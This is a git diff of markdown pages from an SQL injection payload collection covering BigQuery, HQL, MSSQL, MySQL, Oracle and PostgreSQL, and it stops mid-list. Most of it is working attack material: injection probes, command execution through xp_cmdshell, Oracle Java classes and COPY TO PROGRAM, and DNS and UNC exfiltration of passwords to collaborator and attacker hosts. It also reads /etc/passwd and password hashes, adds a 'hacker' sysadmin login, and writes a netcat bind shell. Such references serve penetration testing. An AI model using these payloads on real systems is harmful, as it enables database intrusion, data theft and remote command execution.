diff --git a/SQL Injection/BigQuery Injection.md b/SQL Injection/BigQuery Injection.md index e4f8631..ba3dc6f 100644 --- a/SQL Injection/BigQuery Injection.md +++ b/SQL Injection/BigQuery Injection.md @@ -18,23 +18,20 @@ * Use a classic single quote to trigger an error: `'` * Identify BigQuery using backtick notation: ```SELECT .... FROM `` AS ...``` -```ps1 -# Gathering project id -select @@project_id +| SQL Query | Description | +| ----------------------------------------------------- | -------------------- | +| `SELECT @@project_id` | Gathering project id | +| `SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA` | Gathering all dataset names | +| `select * from project_id.dataset_name.table_name` | Gathering data from specific project id & dataset | -# Gathering all dataset names -select schema_name from INFORMATION_SCHEMA.SCHEMATA - -# Gathering data from specific project id & dataset -select * from `project_id.dataset_name.table_name` -``` ## BigQuery Comment -```ps1 -select 1#from here it is not working -select 1/*between those it is not working*/ -``` +| Type | Description | +|----------------------------|-----------------------------------| +| `#` | Hash comment | +| `/* PostgreSQL Comment */` | C-style comment | + ## BigQuery Union Based @@ -47,13 +44,11 @@ true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT @@project_id),1,1,1, ## BigQuery Error Based -```ps1 -# Error based - division by zero -' OR if(1/(length((select('a')))-1)=1,true,false) OR ' +| SQL Query | Description | +| -------------------------------------------------------- | -------------------- | +| `' OR if(1/(length((select('a')))-1)=1,true,false) OR '` | Division by zero | +| `select CAST(@@project_id AS INT64)` | Casting | -# Error based - casting: select CAST(@@project_id AS INT64) -dataset_name.column_name` union all select CAST(@@project_id AS INT64) ORDER BY 1 DESC# -``` ## BigQuery Boolean Based diff --git a/SQL Injection/HQL Injection.md b/SQL Injection/HQL Injection.md index 7798b8f..87cfa17 100644 --- a/SQL Injection/HQL Injection.md +++ b/SQL Injection/HQL Injection.md @@ -19,9 +19,8 @@ ## HQL Comments -```sql -HQL does not support comments -``` +HQL does not support comments. + ## HQL List Columns @@ -58,28 +57,31 @@ select blogposts0_.id as id18_, blogposts0_.author as author18_, blogposts0_.pro :warning: **HQL does not support UNION queries** + ## Single Quote Escaping Method works for MySQL DBMS which escapes SINGLE QUOTES in strings with SLASH `\'`. In HQL SINGLE QUOTES is escaped in strings by doubling `''`. -``` +```sql 'abc\''or 1=(select 1)--' ``` In HQL it is a string, in MySQL it is a string and additional SQL expression. + ## $-quoted strings Method works for DBMS which allow DOLLAR-QUOTED strings in SQL expressions: PostgreSQL, H2. Hibernate ORM allows identifiers starting with `$$`. -``` +```sql $$='$$=concat(chr(61),chr(39)) and 1=1--' ``` + ## DBMS Magic functions Method works for DBMS which have MAGIC FUNCTIONS which evaluate SQL expression in string parameter: PostgreSQL, Oracle. @@ -88,13 +90,13 @@ Hibernate allows to specify any function name in HQL expression. PostgreSQL has built-in function `query_to_xml('Arbitrary SQL')`. -``` +```sql array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true, false,'')),1) ``` Oracle has built-in function `DBMS_XMLGEN.getxml('SQL')` -``` +```sql NVL(TO_CHAR(DBMS_XMLGEN.getxml('select 1 where 1337>1')),'1')!='1' ``` @@ -106,7 +108,7 @@ In Microsoft SQL SERVER `SELECT LEN([U+00A0](select[U+00A0](1))` works the same HQL allows UNICODE symbols in identifiers (function or parameter names). -``` +```sql SELECT p FROM hqli.persistent.Post p where p.name='dummy' or 1CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --')=1 and '1'='1 ``` diff --git a/SQL Injection/MSSQL Injection.md b/SQL Injection/MSSQL Injection.md index a17643e..8356dac 100644 --- a/SQL Injection/MSSQL Injection.md +++ b/SQL Injection/MSSQL Injection.md @@ -12,22 +12,24 @@ * [MSSQL Hostname](#mssql-hostname) * [MSSQL Database Name](#mssql-database-name) * [MSSQL Database Credentials](#mssql-database-credentials) -* [MSSQL List databases](#mssql-list-databases) -* [MSSQL List columns](#mssql-list-columns) -* [MSSQL List tables](#mssql-list-tables) +* [MSSQL List Databases](#mssql-list-databases) +* [MSSQL List Columns](#mssql-list-columns) +* [MSSQL List Tables](#mssql-list-tables) * [MSSQL Union Based](#mssql-union-based) * [MSSQL Error Based](#mssql-error-based) * [MSSQL Blind Based](#mssql-blind-based) * [MSSQL Time Based](#mssql-time-based) -* [MSSQL Stacked query](#mssql-stacked-query) -* [MSSQL Read file](#mssql-read-file) -* [MSSQL Command execution](#mssql-command-execution) -* [MSSQL Out of band](#mssql-out-of-band) - * [MSSQL DNS exfiltration](#mssql-dns-exfiltration) - * [MSSQL UNC path](#mssql-unc-path) -* [MSSQL Make user DBA](#mssql-make-user-dba-db-admin) +* [MSSQL Stacked Query](#mssql-stacked-query) +* [MSSQL Read File](#mssql-read-file) +* [MSSQL Command Execution](#mssql-command-execution) + * [XP_CMDSHELL](#xp_cmdshell) + * [Python Script](#python-script) +* [MSSQL Out of Band](#mssql-out-of-band) + * [MSSQL DNS Exfiltration](#mssql-dns-exfiltration) + * [MSSQL UNC Path](#mssql-unc-path) +* [MSSQL Make User DBA](#mssql-make-user-dba) * [MSSQL Trusted Links](#mssql-trusted-links) -* [MSSQL List permissions](#mssql-list-permissions) +* [MSSQL List Permissions](#mssql-list-permissions) * [References](#references) @@ -78,7 +80,7 @@ SELECT SERVERPROPERTY('productlevel') SELECT SERVERPROPERTY('edition'); ``` -## MSSQL Database name +## MSSQL Database Name ```sql SELECT DB_NAME() @@ -100,7 +102,7 @@ SELECT DB_NAME() ``` -## MSSQL List databases +## MSSQL List Databases ```sql SELECT name FROM master..sysdatabases; @@ -108,7 +110,7 @@ SELECT DB_NAME(N); — for N = 0, 1, 2, … SELECT STRING_AGG(name, ', ') FROM master..sysdatabases; -- Change delimiter value such as ', ' to anything else you want => master, tempdb, model, msdb (Only works in MSSQL 2017+) ``` -## MSSQL List columns +## MSSQL List Columns ```sql SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable'); -- for the current DB only @@ -117,7 +119,7 @@ SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master. SELECT table_catalog, column_name FROM information_schema.columns ``` -## MSSQL List tables +## MSSQL List Tables ```sql SELECT name FROM master..sysobjects WHERE xtype = 'U'; -- use xtype = 'V' for views @@ -154,36 +156,43 @@ $ SELECT UserId, UserName from Users ``` -## MSSQL Error based +## MSSQL Error Based -```sql -For integer inputs : convert(int,@@version) -For integer inputs : cast((SELECT @@version) as int) +* For integer inputs -For string inputs : ' + convert(int,@@version) + ' -For string inputs : ' + cast((SELECT @@version) as int) + ' -``` + ```sql + convert(int,@@version) + cast((SELECT @@version) as int) + ``` + +* For string inputs + + ```sql + ' + convert(int,@@version) + ' + ' + cast((SELECT @@version) as int) + ' + ``` -## MSSQL Blind based +## MSSQL Blind Based ```sql AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- - +``` +```sql AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97 AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64-- AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A' - AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90 - SELECT @@version WHERE @@version LIKE '%12.0.2000.8%' - WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table) SELECT message FROM data WHERE row = 1 and message like 't%' ``` -## MSSQL Time based +## MSSQL Time Based + +In a time-based blind SQL injection attack, an attacker injects a payload that uses `WAITFOR DELAY` to make the database pause for a certain period. The attacker then observes the response time to infer whether the injected payload executed successfully or not. ```sql ProductID=1;waitfor delay '0:0:10'-- @@ -191,7 +200,9 @@ ProductID=1);waitfor delay '0:0:10'-- ProductID=1';waitfor delay '0:0:10'-- ProductID=1');waitfor delay '0:0:10'-- ProductID=1));waitfor delay '0:0:10'-- +``` +```sql IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0'; ``` @@ -199,7 +210,7 @@ IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0'; ## MSSQL Stacked Query -* Without any statement terminator +* Stacked query without any statement terminator ```sql -- multiple SELECT statements SELECT 'A'SELECT 'B'SELECT 'C' @@ -212,13 +223,13 @@ IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0'; SELECT id, username, password FROM users WHERE username = 'admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')-- ``` -* Use a semi-colon ";" to add another query +* Use a semi-colon "`;`" to add another query ```sql ProductID=1; DROP members-- ``` -## MSSQL Read file +## MSSQL Read File **Permissions**: The `BULK` option requires the `ADMINISTER BULK OPERATIONS` or the `ADMINISTER DATABASE BULK OPERATIONS` permission. @@ -227,7 +238,9 @@ IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0'; ``` -## MSSQL Command execution +## MSSQL Command Execution + +### XP_CMDSHELL ```sql EXEC xp_cmdshell "net user"; @@ -244,45 +257,36 @@ EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; ``` -To interact with the MSSQL instance. +### Python Script + +> Executed by a different user than the one using `xp_cmdshell` to execute commands ```powershell -sqsh -S 192.168.1.X -U sa -P superPassword -python mssqlclient.py WORKGROUP/Administrator:password@192.168.1X -port 46758 -``` - -Execute Python script - -> Executed by a different user than the one using xp_cmdshell to execute commands - -```powershell -#Print the user being used (and execute commands) +# Print the user being used (and execute commands) EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())' EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))' -#Open and read a file EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())' -#Multiline -EXECUTE sp_execute_external_script @language = N'Python', @script = N' -import sys -print(sys.version) -' -GO ``` -## MSSQL Out of band + +## MSSQL Out of Band ### MSSQL DNS exfiltration Technique from https://twitter.com/ptswarm/status/1313476695295512578/photo/1 -```powershell -# Permissions: Requires VIEW SERVER STATE permission on the server. -1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null)) +* **Permission**: Requires VIEW SERVER STATE permission on the server. -# Permissions: Requires the CONTROL SERVER permission. -1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\',default,default))) -1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default)) -``` + ```powershell + 1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null)) + ``` + +* **Permission**: Requires the CONTROL SERVER permission. + + ```powershell + 1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\',default,default))) + 1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default)) + ``` ### MSSQL UNC Path @@ -308,7 +312,7 @@ RESTORE VERIFYONLY FROM DISK = '\\attackerip\file' ``` -## MSSQL Make user DBA (DB admin) +## MSSQL Make User DBA ```sql EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin; @@ -345,7 +349,7 @@ EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2" ``` -## List permissions +## List Permissions Listing effective permissions of current user on the server. diff --git a/SQL Injection/MySQL Injection.md b/SQL Injection/MySQL Injection.md index 8db0a47..3a9e542 100644 --- a/SQL Injection/MySQL Injection.md +++ b/SQL Injection/MySQL Injection.md @@ -43,8 +43,8 @@ * [UNC Path - NTLM Hash Stealing](#unc-path---ntlm-hash-stealing) * [MYSQL WAF Bypass](#mysql-waf-bypass) * [Alternative to Information Schema](#alternative-to-information-schema) - * [Alternative to Version](#alternative-to-version) - * [Alternative to group_concat](#alternative-to-group_concat) + * [Alternative to VERSION](#alternative-to-version) + * [Alternative to GROUP_CONCAT](#alternative-to-group_concat) * [Scientific Notation](#scientific-notation) * [Conditional Comments](#conditional-comments) * [Wide Byte Injection (GBK)](#wide-byte-injection-gbk) @@ -645,7 +645,7 @@ mysql> SHOW TABLES IN dvwa; ``` -### Alternative to Version +### Alternative to VERSION ```sql mysql> SELECT @@innodb_version; @@ -671,7 +671,7 @@ mysql> mysql> SELECT version(); ``` -### Alternative to group_concat +### Alternative to GROUP_CONCAT Requirement: `MySQL >= 5.7.22` diff --git a/SQL Injection/OracleSQL Injection.md b/SQL Injection/OracleSQL Injection.md index ecebeb1..f6fed02 100644 --- a/SQL Injection/OracleSQL Injection.md +++ b/SQL Injection/OracleSQL Injection.md @@ -11,13 +11,16 @@ * [Oracle SQL Hostname](#oracle-sql-hostname) * [Oracle SQL Database Name](#oracle-sql-database-name) * [Oracle SQL Database Credentials](#oracle-sql-database-credentials) -* [Oracle SQL List databases](#oracle-sql-list-databases) -* [Oracle SQL List columns](#oracle-sql-list-columns) -* [Oracle SQL List tables](#oracle-sql-list-tables) +* [Oracle SQL List Databases](#oracle-sql-list-databases) +* [Oracle SQL List Columns](#oracle-sql-list-columns) +* [Oracle SQL List Tables](#oracle-sql-list-tables) * [Oracle SQL Error Based](#oracle-sql-error-based) * [Oracle SQL Blind](#oracle-sql-blind) * [Oracle SQL Time Based](#oracle-sql-time-based) -* [Oracle SQL Command execution](#oracle-sql-command-execution) +* [Oracle SQL Out of Band](#oracle-sql-out-of-band) +* [Oracle SQL Command Execution](#oracle-sql-command-execution) + * [Oracle Java Execution](#oracle-java-execution) + * [Oracle Java Class](#oracle-java-class) * [References](#references) @@ -99,7 +102,7 @@ SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%'; ``` -## Oracle SQL Error based +## Oracle SQL Error Based | Description | Query | | :-------------------- | :------------- | @@ -126,70 +129,80 @@ When the injection point is inside a string use : `'||PAYLOAD--` | First letter of first message is t | `SELECT message FROM log_table WHERE rownum=1 AND message LIKE 't%';` | -## Oracle SQL Time based +## Oracle SQL Time Based ```sql AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ``` +## Oracle SQL Out of Band + +```sql +SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual +``` + + ## Oracle SQL Command Execution -* [ODAT (Oracle Database Attacking Tool)](https://github.com/quentinhardy/odat) +* [quentinhardy/odat](https://github.com/quentinhardy/odat) - ODAT (Oracle Database Attacking Tool) ### Oracle Java Execution * List Java privileges + ```sql select * from dba_java_policy select * from user_java_policy ``` + * Grant privileges + ```sql exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<>','execute'); exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', ''); exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'readFileDescriptor', ''); ``` + * Execute commands * 10g R2, 11g R1 and R2: `DBMS_JAVA_TEST.FUNCALL()` - ```sql - SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\system32\\cmd.exe','/c', 'dir >c:\test.txt') FROM DUAL - SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/bin/ls>/tmp/OUT2.LST') from dual - ``` + + ```sql + SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\system32\\cmd.exe','/c', 'dir >c:\test.txt') FROM DUAL + SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/bin/ls>/tmp/OUT2.LST') from dual + ``` + * 11g R1 and R2: `DBMS_JAVA.RUNJAVA()` - ```sql - SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c /bin/ls>/tmp/OUT.LST') FROM DUAL - ``` + + ```sql + SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c /bin/ls>/tmp/OUT.LST') FROM DUAL + ``` ### Oracle Java Class -```sql -/* create Java class */ -BEGIN -EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};'; -END; -/ +* Create Java class -BEGIN -EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';'; -END; -/ + ```sql + BEGIN + EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};'; + END; -/* run OS command */ -SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual; -``` + BEGIN + EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';'; + END; -or (hex encoded) + -- hex encoded payload + SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c61636520616e6420636f6d70696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d706f7274206a6176612e696f2e2a3b7075626c696320636c6173732070776e7574696c7b7075626c69632073746174696320537472696e672072756e28537472696e672061726773297b7472797b4275666665726564526561646572206d726561643d6e6577204275666665726564526561646572286e657720496e70757453747265616d5265616465722852756e74696d652e67657452756e74696d6528292e657865632861726773292e676574496e70757453747265616d282929293b20537472696e67207374656d702c207374723d22223b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6c29207374722b3d7374656d702b225c6e223b206d726561642e636c6f736528293b2072657475726e207374723b7d636174636828457863657074696f6e2065297b72657475726e20652e746f537472696e6728293b7d7d7d'')); + EXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374696f6e2050776e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b'')); end;')) results FROM dual + ``` -```sql -/* create Java class */ -SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c61636520616e6420636f6d70696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d706f7274206a6176612e696f2e2a3b7075626c696320636c6173732070776e7574696c7b7075626c69632073746174696320537472696e672072756e28537472696e672061726773297b7472797b4275666665726564526561646572206d726561643d6e6577204275666665726564526561646572286e657720496e70757453747265616d5265616465722852756e74696d652e67657452756e74696d6528292e657865632861726773292e676574496e70757453747265616d282929293b20537472696e67207374656d702c207374723d22223b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6c29207374722b3d7374656d702b225c6e223b206d726561642e636c6f736528293b2072657475726e207374723b7d636174636828457863657074696f6e2065297b72657475726e20652e746f537472696e6728293b7d7d7d'')); -EXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374696f6e2050776e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b'')); end;')) results FROM dual +* Run OS command + + ```sql + SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual; + ``` -/* run OS command */ -SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual; -``` ## References diff --git a/SQL Injection/PostgreSQL Injection.md b/SQL Injection/PostgreSQL Injection.md index 9db90e2..22da428 100644 --- a/SQL Injection/PostgreSQL Injection.md +++ b/SQL Injection/PostgreSQL Injection.md @@ -1,6 +1,6 @@ # PostgreSQL Injection -> +> PostgreSQL SQL injection refers to a type of security vulnerability where attackers exploit improperly sanitized user input to execute unauthorized SQL commands within a PostgreSQL database. ## Summary @@ -8,35 +8,33 @@ * [PostgreSQL Comments](#postgresql-comments) * [PostgreSQL Version](#postgresql-version) * [PostgreSQL Current User](#postgresql-current-user) -* [PostgreSQL List Users](#postgresql-list-users) -* [PostgreSQL List Password Hashes](#postgresql-list-password-hashes) -* [PostgreSQL List Database Administrator Accounts](#postgresql-list-database-administrator-accounts) -* [PostgreSQL List Privileges](#postgresql-list-privileges) -* [PostgreSQL Check if Current User is Superuser](#postgresql-check-if-current-user-is-superuser) -* [PostgreSQL database name](#postgresql-database-name) -* [PoStgresql List Databases](#postgresql-list-database) -* [PostgreSQL List Tables](#postgresql-list-tables) -* [PostgreSQL List Columns](#postgresql-list-columns) +* [PostgreSQL Privileges](#postgresql-privileges) + * [PostgreSQL List Privileges](#postgresql-list-privileges) + * [PostgreSQL Superuser Role](#postgresql-superuser-role) +* [PostgreSQL Enumeration](#postgresql-enumeration) * [PostgreSQL Error Based](#postgresql-error-based) -* [PostgreSQL XML Helpers](#postgresql-xml-helpers) + * [PostgreSQL XML Helpers](#postgresql-xml-helpers) * [PostgreSQL Blind](#postgresql-blind) * [PostgreSQL Time Based](#postgresql-time-based) +* [PostgreSQL Out of Band](#postgresql-out-of-band) * [PostgreSQL Stacked Query](#postgresql-stacked-query) -* [PostgreSQL File Read](#postgresql-file-read) -* [PostgreSQL File Write](#postgresql-file-write) +* [PostgreSQL File Manipulation](#postgresql-file-manipulation) + * [PostgreSQL File Read](#postgresql-file-read) + * [PostgreSQL File Write](#postgresql-file-write) * [PostgreSQL Command Execution](#postgresql-command-execution) - * [CVE-2019–9193](#cve-20199193) + * [Using COPY TO/FROM PROGRAM](#using-copy-tofrom-program) * [Using libc.so.6](#using-libcso6) -* [Bypass Filter](#bypass-filter) +* [PostgreSQL WAF Bypass](#postgresql-waf-bypass) + * [Alternative to Quotes](#alternative-to-quotes) * [References](#references) ## PostgreSQL Comments -```sql --- -/**/ -``` +| Type | Comment | +| ---- | ------- | +| Single-Line Comment | `--` | +| Multi-Line Comment | `/**/` | ## PostgreSQL Version @@ -55,37 +53,18 @@ SELECT usename FROM pg_user; SELECT getpgusername(); ``` -## PostgreSQL List Users -```sql -SELECT usename FROM pg_user -``` +## PostgreSQL Privileges -## PostgreSQL List Password Hashes +### PostgreSQL List Privileges -```sql -SELECT usename, passwd FROM pg_shadow -``` +Retrieve all table-level privileges for the current user, excluding tables in system schemas like `pg_catalog` and `information_schema`. -## PostgreSQL List Database Administrator Accounts - -```sql -SELECT usename FROM pg_user WHERE usesuper IS TRUE -``` - -## PostgreSQL List Privileges - -Gather information from the [`pg_user`](https://www.postgresql.org/docs/current/view-pg-user.html) table: -```sql -SELECT * FROM pg_user -``` - -Retrieve all table-level privileges for the current user, excluding tables in system schemas like `pg_catalog` and `information_schema`: ```sql SELECT * FROM information_schema.role_table_grants WHERE grantee = current_user AND table_schema NOT IN ('pg_catalog', 'information_schema'); ``` -## PostgreSQL Check if Current User is Superuser +### PostgreSQL Superuser Role ```sql SHOW is_superuser; @@ -93,29 +72,18 @@ SELECT current_setting('is_superuser'); SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER; ``` -## PostgreSQL Database Name +## PostgreSQL Enumeration -```sql -SELECT current_database() -``` +| SQL Query | Description | +| --------------------------------------- | -------------- | +| `SELECT current_database()` | Database Name | +| `SELECT datname FROM pg_database` | List Databases | +| `SELECT table_name FROM information_schema.tables` | List Tables | +| `SELECT column_name FROM information_schema.columns WHERE table_name='data_table'` | List Columns | +| `SELECT usename FROM pg_user` | List PostgreSQL Users | +| `SELECT usename, passwd FROM pg_shadow` | List Password Hashes | +| `SELECT usename FROM pg_user WHERE usesuper IS TRUE` | List Database Administrator Accounts | -## PostgreSQL List Database - -```sql -SELECT datname FROM pg_database -``` - -## PostgreSQL List Tables - -```sql -SELECT table_name FROM information_schema.tables -``` - -## PostgreSQL List Columns - -```sql -SELECT column_name FROM information_schema.columns WHERE table_name='data_table' -``` ## PostgreSQL Error Based @@ -124,14 +92,16 @@ SELECT column_name FROM information_schema.columns WHERE table_name='data_table' ,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)-- ,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)-- ,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC) +``` +```sql ' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1 ' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1 ' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1 ' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1 ``` -## PostgreSQL XML Helpers +### PostgreSQL XML Helpers ```sql select query_to_xml('select * from pg_user',true,true,''); -- returns all the results as a single xml row @@ -150,8 +120,8 @@ Note, with the above queries, the output needs to be assembled in memory. For la ## PostgreSQL Blind ```sql -' and substr(version(),1,10) = 'PostgreSQL' and '1 -> OK -' and substr(version(),1,10) = 'PostgreXXX' and '1 -> KO +' and substr(version(),1,10) = 'PostgreSQL' and '1 -- TRUE +' and substr(version(),1,10) = 'PostgreXXX' and '1 -- FALSE ``` ## PostgreSQL Time Based @@ -183,77 +153,108 @@ select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name where column_name='value' limit 1 ``` - ```sql AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ``` +## PostgreSQL Out of Band + +Out-of-band SQL injections in PostgreSQL relies on the use of functions that can interact with the file system or network, such as `COPY`, `lo_export`, or functions from extensions that can perform network actions. The idea is to exploit the database to send data elsewhere, which the attacker can monitor and intercept. + +```sql +declare c text; +declare p text; +begin +SELECT into p (SELECT YOUR-QUERY-HERE); +c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN'''; +execute c; +END; +$$ language plpgsql security definer; +SELECT f(); +``` + + ## PostgreSQL Stacked Query Use a semi-colon "`;`" to add another query ```sql -http://host/vuln.php?id=injection';create table NotSoSecure (data varchar(200));-- +SELECT 1;CREATE TABLE NOTSOSECURE (DATA VARCHAR(200));-- ``` -## PostgreSQL File Read +## PostgreSQL File Manipulation -```sql -select pg_ls_dir('./'); -select pg_read_file('PG_VERSION', 0, 200); -``` +### PostgreSQL File Read -NOTE: Earlier versions of Postgres did not accept absolute paths in `pg_read_file` or `pg_ls_dir`. Newer versions (as of [this](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) commit) will allow reading any file/filepath for super users or users in the `default_role_read_server_files` group. +NOTE: Earlier versions of Postgres did not accept absolute paths in `pg_read_file` or `pg_ls_dir`. Newer versions (as of [0fdc8495bff02684142a44ab3bc5b18a8ca1863a](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) commit) will allow reading any file/filepath for super users or users in the `default_role_read_server_files` group. -```sql -CREATE TABLE temp(t TEXT); -COPY temp FROM '/etc/passwd'; -SELECT * FROM temp limit 1 offset 0; -``` +* Using `pg_read_file`, `pg_ls_dir` -```sql -SELECT lo_import('/etc/passwd'); -- will create a large object from the file and return the OID -SELECT lo_get(16420); -- use the OID returned from the above -SELECT * from pg_largeobject; -- or just get all the large objects and their data -``` + ```sql + select pg_ls_dir('./'); + select pg_read_file('PG_VERSION', 0, 200); + ``` -## PostgreSQL File Write +* Using `COPY` -```sql -CREATE TABLE pentestlab (t TEXT); -INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash'); -SELECT * FROM pentestlab; -COPY pentestlab(t) TO '/tmp/pentestlab'; -``` + ```sql + CREATE TABLE temp(t TEXT); + COPY temp FROM '/etc/passwd'; + SELECT * FROM temp limit 1 offset 0; + ``` -Or as one line: -```sql -COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab'; -``` +* Using 